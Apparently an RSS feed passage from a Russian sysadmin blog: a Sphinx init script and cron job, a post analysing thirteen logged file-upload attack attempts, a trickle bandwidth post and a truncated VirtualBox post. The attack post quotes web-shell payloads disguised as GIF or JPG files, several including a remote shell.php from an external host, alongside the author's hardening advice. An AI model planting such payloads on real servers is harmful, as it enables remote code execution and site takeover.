<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #ff0000;">&quot;$1&quot;</span> <span style="color: #000000; font-weight: bold;">in</span><br />
start<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Starting <span style="color: #007800;">$DESC</span>: &quot;</span><br />
start-stop-daemon <span style="color: #660033;">--start</span> <span style="color: #660033;">--quiet</span> <span style="color: #660033;">--pidfile</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.pid <span style="color: #660033;">--exec</span> <span style="color: #007800;">$DAEMON</span> <span style="color: #660033;">--</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sphinx.conf <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #c20cb9; font-weight: bold;">true</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$NAME</span>.&quot;</span><br />
<span style="color: #000000; font-weight: bold;">;;</span><br />
stop<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Stopping <span style="color: #007800;">$DESC</span>: &quot;</span><br />
start-stop-daemon <span style="color: #660033;">--stop</span> <span style="color: #660033;">--quiet</span> <span style="color: #660033;">--pidfile</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.pid <span style="color: #660033;">--exec</span> <span style="color: #007800;">$DAEMON</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #c20cb9; font-weight: bold;">true</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$NAME</span>.&quot;</span><br />
<span style="color: #000000; font-weight: bold;">;;</span><br />
restart<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Restarting <span style="color: #007800;">$DESC</span>: &quot;</span><br />
start-stop-daemon <span style="color: #660033;">--stop</span> <span style="color: #660033;">--quiet</span> <span style="color: #660033;">--pidfile</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.pid <span style="color: #660033;">--exec</span> <span style="color: #007800;">$DAEMON</span> <span style="color: #660033;">--</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sphinx.conf <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #c20cb9; font-weight: bold;">true</span><br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">1</span><br />
start-stop-daemon <span style="color: #660033;">--start</span> <span style="color: #660033;">--quiet</span> <span style="color: #660033;">--pidfile</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>searchd.pid <span style="color: #660033;">--exec</span> <span style="color: #007800;">$DAEMON</span> <span style="color: #660033;">--</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sphinx.conf <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #c20cb9; font-weight: bold;">true</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$NAME</span>.&quot;</span><br />
<span style="color: #000000; font-weight: bold;">;;</span><br />
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: <span style="color: #007800;">$NAME</span> {start|stop|restart}&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">2</span><br />
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span><br />
<span style="color: #000000; font-weight: bold;">;;</span><br />
<span style="color: #000000; font-weight: bold;">esac</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span></div></div>
<p>Далее надо сделать его выполняемым и добавить в запуск при старте</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>sphinx<br />
$ update-rc.d sphinx defaults</div></div>
<p>Ну вот практически и все, осталось добавить перестроение поискового индекса по крону. В примере конфигурации добавлен один индекс &#8211; сообщения на форуме. Будем считать что индексов у нас будет много и разных. Перестраивать их необходимо так же с разным интервалом в зависимости от частоты изменения данных и размера данных. Поэтому создадим отдельный файл, куда будем складывает задания для sphinx</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">vim</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.d<span style="color: #000000; font-weight: bold;">/</span>sphinx</div></div>
<p>поместим пока единственную строку для переиндексации сообщений на форуме:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">*/</span><span style="color: #000000;">12</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> root <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sphinx<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>indexer <span style="color: #660033;">--rotate</span> forumPostIndex <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span></div></div>
<p>и перезапустим планировщик задач</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>cron restart</div></div>
<h3>Полезные ссылки</h3>
<ul>
<li>Самая главная ссылка:  <a href="http://sphinxsearch.com/docs/current.html">http://sphinxsearch.com/docs/current.html</a></li>
<li><a href="http://habrahabr.ru/blogs/sphinx/131089/" target="_blank">Поиск по PDF, DOC, DOCX файлам с помощью Sphinx и PHP</a> (огромный минус материала в использовании библиотеки Zend для чтения из исходных документов &#8211; pdf, doc, docx)</li>
<li><a href="http://www.ibm.com/developerworks/ru/library/os-php-sphinxsearch/" target="_blank">Создание собственной поисковой системы с помощью PHP</a> (материал аж 2007 года, с того момента могло многое измениться)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/sphinx-install/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking часть III</title>
		<link>http://svdev.ru/blog/hacking-part-3/</link>
		<comments>http://svdev.ru/blog/hacking-part-3/#comments</comments>
		<pubDate>Sun, 06 Mar 2011 11:31:07 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=575</guid>
		<description><![CDATA[Застал опять в логах наинтереснейшую историю, длилась которая без малого 2 часа. Где искали дырку &#8211; стандартно в загрузке файлов. Здесь необходимо оговориться, что файлы можно загружать разные, не только картинки, а к примеру pdf, zip, doc, xls и т. д. Попытки пронумерую (для удобства отсылки к уже поясненному материалу) и прокомментирую. Кстати, нечто подобное [...]]]></description>
			<content:encoded><![CDATA[<p>Застал опять в логах наинтереснейшую историю, длилась которая без малого <strong>2 часа</strong>. Где искали дырку &#8211; стандартно в загрузке файлов. Здесь необходимо оговориться, что файлы можно загружать разные, не только картинки, а к примеру pdf, zip, doc, xls и т. д. Попытки пронумерую (для удобства отсылки к уже поясненному материалу) и прокомментирую. Кстати, нечто подобное уже было (см. <a href="http://svdev.ru/blog/hacking-part-2/">здесь</a>), но не совсем то. И так, приступим!<br />
<span id="more-575"></span><br />
<strong>1., 2.</strong> Первая и вторая попытка в 22:23, файл <code class="codecolorer bash default"><span class="bash">cmd.gif</span></code> и <code class="codecolorer bash default"><span class="bash">images.gif</span></code> (<em>зачем два непонятно</em>) следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">GIF89aV , ...<br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cmd&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Такое в принципе возможно, т. к. в изображение можно добавлять комментарии, в которые и можно вставить PHP код. Функция <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/getimagesize"><span style="color: #990000;">getimagesize</span></a></span></code> при этом будет возвращать реальный размер картинки без ошибок. Но такая лазейка возможна только если на сервере файлы .gif передаются на обработку PHP. Некоторые вкорячивают обработку и для html, что то тоже моветон.</p>
<p><strong>3.</strong> В 22:26 было решено попробовать в файле <code class="codecolorer bash default"><span class="bash"><span style="color: #000000;">123</span>.php.jpg</span></code> втупую впихнуть код:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cmd'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Такое вариант тоже может прокатить, но только при условии не внимательного конфигурирования обработки php, как то вот так</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">location ~ \.php</div></div>
<p>Допускаю что такое может придти в голову, если используются несколько разрешений, к примеру <code class="codecolorer bash default"><span class="bash">.php</span></code>, <code class="codecolorer bash default"><span class="bash">php3</span></code>, <code class="codecolorer bash default"><span class="bash">php5</span></code>. Но вообще ИМХО такое уже давно не встречается.</p>
<p><strong>4.</strong> В 22:38 (дальнейшее штудирование &laquo;хакинга для чайников&raquo; подсказало) решено объединить п. 1 и п. 3 опять же в gif <code class="codecolorer bash default"><span class="bash">cmd2.gif</span></code> для конструкции</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">GIF89aV , <br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://внешний-URL/shell.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Данная конструкция нежизнеспособна, т. к. нежизнеспособен способ из п. 1, а если бы даже обработка изображений отдавалась на php, то в php.ini есть параметр, который по умолчанию выключен и включать его нет совершенно никакой необходимости:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">;Whether to allow include<span style="color: #000000; font-weight: bold;">/</span>require to open URLs <span style="color: #7a0874; font-weight: bold;">&#40;</span>like http:<span style="color: #000000; font-weight: bold;">//</span> or ftp:<span style="color: #000000; font-weight: bold;">//</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #c20cb9; font-weight: bold;">as</span> files.<br />
allow_url_include = Off</div></div>
<p><strong>5.</strong> Следующая попытка в 22:43 с файлом <code class="codecolorer bash default"><span class="bash">cmd3.php.txt</span></code> и содержимым:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://внешний-url/shell.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>не очень интересна, т. к. была заранее обречена на провал.</p>
<p><strong>6.</strong> А вот здесь, через две минуты, уже пошел работать ум пытливого хакера, в подсознании всплывали обрывки мыслей про другие скрипты, <strong>JavaScript</strong>`ы. А что, вдруг в разметку легким взмахом клавиш можно таки встроить PHP. И так, слабонервных отойти от экрана &#8211; файл <code class="codecolorer bash default"><span class="bash">cmd4.php.txt</span></code>:</p>
<div class="codecolorer-container html4strict vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">language</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;php&quot;</span>&gt;</span><br />
include(&quot;http://внешний-url/shell.php&quot;);<br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span></div></div>
<p>А мужики то и не знают&#8230;</p>
<p><strong>7.</strong> 22:52 <code class="codecolorer bash default"><span class="bash"><span style="color: #000000;">333</span>.php.jpg</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;cmd&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p><strong>8.</strong> 23:01 <code class="codecolorer bash default"><span class="bash"><span style="color: #000000;">777</span>.gif</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'shell'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://внешний-url/shell.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Здесь даже комментировать нечего, просто .gif попытка url_include &#8211; <strong>epic fail</strong></p>
<p><strong>9.</strong> Три попытки <code class="codecolorer bash default"><span class="bash">xxx.gif</span></code>, <code class="codecolorer bash default"><span class="bash">xxx1.gif</span></code> и <code class="codecolorer bash default"><span class="bash">xxx2.gif</span></code> &#8211; завернутый в 3 конструкции <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/eval"><span style="color: #990000;">eval</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/gzinflate"><span style="color: #990000;">gzinflate</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span></span></code> так называемый <strong>r57shell</strong> web shell. Только вот как он должен был заработать, если не заработал предыдущий вариант &#8211; непонятно</p>
<p><strong>10.</strong> И опять за старое &#8211; 23:55 <code class="codecolorer bash default"><span class="bash">qwe.gif</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cmd'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p><strong>11.</strong> 00:10 <code class="codecolorer bash default"><span class="bash">qqq.gif</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">GIF89aV , <br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #000088;">$brd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'file.php'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'w+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$write</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$brd</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Здесь совершенно не понятно что собиралось писаться в файл, т. к. в настройках стоит <code class="codecolorer bash default"><span class="bash">register_globals = Off</span></code> и конструкция вида <code class="codecolorer text default"><span class="text">qqq.gif?file=%3C%3Fphp+include%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E</span></code> не проканала бы</p>
<p><strong>12.</strong> 00:12 <code class="codecolorer bash default"><span class="bash">zzz.gif</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">GIF89aV , <br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;porn&quot;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Из разряда дайте уже хоть что нибудь )))</p>
<p><strong>13.</strong> Ну и последняя попытка 00:14 <code class="codecolorer bash default"><span class="bash">fff.gif</span></code></p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">GIF89aV , <br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cmd'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>В качестве послесловия. Все мы люди и при написании кода забыть какую нить проверку при загрузке файла можно легко, поэтому надо отдельное внимание уделять настройкам сервера. Никаких <code class="codecolorer bash default"><span class="bash">register_globals = On</span></code>, <code class="codecolorer bash default"><span class="bash">allow_url_include = On</span></code> и т. д. Но самое главное, <strong>весь</strong> загружаемый контент <strong>не предназначен для выполнения</strong>, а <strong>только для отдачи</strong>. Поэтому обязательно, для всех директорий куда кладутся загружаемые файлы необходимо убирать обработку PHP, примерно вот так:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">location ~ <span style="color: #000000; font-weight: bold;">/</span>upload<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ограничение канала для отдельных приложений</title>
		<link>http://svdev.ru/blog/debian-trickle/</link>
		<comments>http://svdev.ru/blog/debian-trickle/#comments</comments>
		<pubDate>Sun, 09 Jan 2011 22:09:29 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[traffic shaping]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=572</guid>
		<description><![CDATA[В один прекрасный момент может сложиться ситуация когда приложение непростительно отжирает весь канал, когда хотелось бы ограничить его небольшими ресурсами. У меня возникла такая проблема когда скрипт резервного копирования начинал перекладывать архивы с бэкапами на FTP. Т. к. FTP для бэкапов является локальным ресурсом и скорость подключения к нему большая, то и получалось что скрипт [...]]]></description>
			<content:encoded><![CDATA[<p>В один прекрасный момент может сложиться ситуация когда приложение непростительно отжирает весь канал, когда хотелось бы ограничить его небольшими ресурсами. У меня возникла такая проблема когда <a href="http://svdev.ru/blog/backup-advanced/">скрипт резервного копирования</a> начинал перекладывать архивы с бэкапами на FTP. Т. к. FTP для бэкапов является локальным ресурсом и скорость подключения к нему большая, то и получалось что скрипт отжирал весь канал, в результате чего в логах на время копирования вываливались ошибки от nginx</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">8557#</span><span style="color: #000000;">0</span>: <span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000;">8936853</span> upstream timed out <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">110</span>: Connection timed out<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">while</span> reading response header from upstream</div></div>
<p>а HostTracker начинал слать уведомления об ошибке доступа к ресурсу.</p>
<p>Решением явилось использование утилиты <strong>trickle</strong></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get install</span> trickle</div></div>
<p>Можно использовать как демон (<strong>trickled</strong>), а можно независимо для приложений. Самые нужные в данный момент ключи, это <code class="codecolorer bash default"><span class="bash">trickle <span style="color: #660033;">-d</span> <span style="color: #000000;">512</span> <span style="color: #660033;">-u</span> <span style="color: #000000;">512</span> ...</span></code> устанавливающие в данном случае скорость в 512 килобайт в секунду для входящего и исходящего трафика соответственно.</p>
<p>В результате вышеупомянутый <a href="http://svdev.ru/blog/backup-advanced/">скрипт резервного копирования</a> поменялся только в одной строчке с</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">ftp</span> <span style="color: #660033;">-n</span> <span style="color: #007800;">$FTPHOST</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>EOF</div></div>
<p>на</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">trickle <span style="color: #660033;">-d</span> <span style="color: #000000;">512</span> <span style="color: #660033;">-u</span> <span style="color: #000000;">512</span> <span style="color: #c20cb9; font-weight: bold;">ftp</span> <span style="color: #660033;">-n</span> <span style="color: #007800;">$FTPHOST</span> <span style="color: #000000; font-weight: bold;">&lt;&lt;</span>EOF</div></div>
<p>Вот собственно первое что нагуглил по теме когда искал решение: <a href="http://debback.blogspot.com/2008/05/blog-post.html">Ограничение сетевого трафика для приложений</a> и от этого уже пошел +</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">man</span> trickle</div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/debian-trickle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Увеличение раздела жесткого диска виртуальной машины</title>
		<link>http://svdev.ru/blog/virtualbox-partition-resize/</link>
		<comments>http://svdev.ru/blog/virtualbox-partition-resize/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 07:45:46 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[ubuntu VirtualBox]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=567</guid>
		<description><![CDATA[Пошаговая инструкция с картинками как увеличить размер жесткого диска VirtualBox http://www.my-guides.net/en/content/view/122/26/ Клонирование жестого диска Для использования нескольких виртуальных машин с одинаковыми дисками их необходимо клонировать, т.к. VirtaulBox присваивает дискам UUID и не даст работать с дисками при простом их копировании: $ sudo VBoxManage clonehd image.vdi newimage.vdi Установка VirtualBox Extension Pack в Debian После обновления до версии [...]]]></description>
			<content:encoded><![CDATA[<p>Пошаговая инструкция с картинками как увеличить размер жесткого диска VirtualBox <a href="http://www.my-guides.net/en/content/view/122/26/">http://www.my-guides.net/en/content/view/122/26/</a></p>
<h3>Клонирование жестого диска</h3>
